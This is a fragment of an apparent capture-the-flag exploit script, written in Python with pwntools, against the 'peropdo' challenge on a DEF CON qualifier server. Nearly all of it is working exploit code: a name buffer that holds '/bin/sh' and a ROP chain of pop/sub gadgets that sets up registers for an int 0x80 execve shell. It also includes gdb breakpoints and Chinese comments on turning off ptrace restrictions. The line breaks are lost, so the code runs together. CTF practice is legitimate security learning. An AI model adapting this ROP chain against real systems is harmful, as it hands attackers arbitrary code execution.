#r = process("./peropdo") r = remote("peropdo_bb53b90b35dba86353af36d3c6862621.quals.shallweplayaga.me",80)
defattach(): gdb.attach(r,''' b *0x08048FD0 b *0x08048B4F c ''') raw_input("debug")#0x1022 #cat /proc/sys/kernel/yama/ptrace_scope #开启echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope #关闭echo 1 | sudo tee /proc/sys/kernel/yama/ptrace_scope #C-b o 在小窗口中切换 #http://blog.chinaunix.net/uid-26285146-id-3252286.html
r.recvuntil("name?") seed = p32(0xea9ad2fe) name = seed name += "\x00"*10 name += p32(name_addr + 4 + 20) name += "\x00"*(10-4) name += "/bin/sh" name += "\x00"*(52-20-7) name += p32(pop_eax_ret) name += p32(0x0e) name += p32(sub_eax_1_pop_ebx_ret) name += p32(name_addr + 4 + 20) name += p32(sub_eax_1_pop_ebx_ret) name += p32(name_addr + 4 + 20) name += p32(sub_eax_1_pop_ebx_ret) name += p32(name_addr + 4 + 20) name += p32(pop_ecx_ret)#0x0 name += p32(name_addr + 4 + 10) name += p32(pop_edx_ret)#0x0 name += p32(name_addr + 4) name += p32(int_0x80)
// EXTERNAL_CHANNEL
评论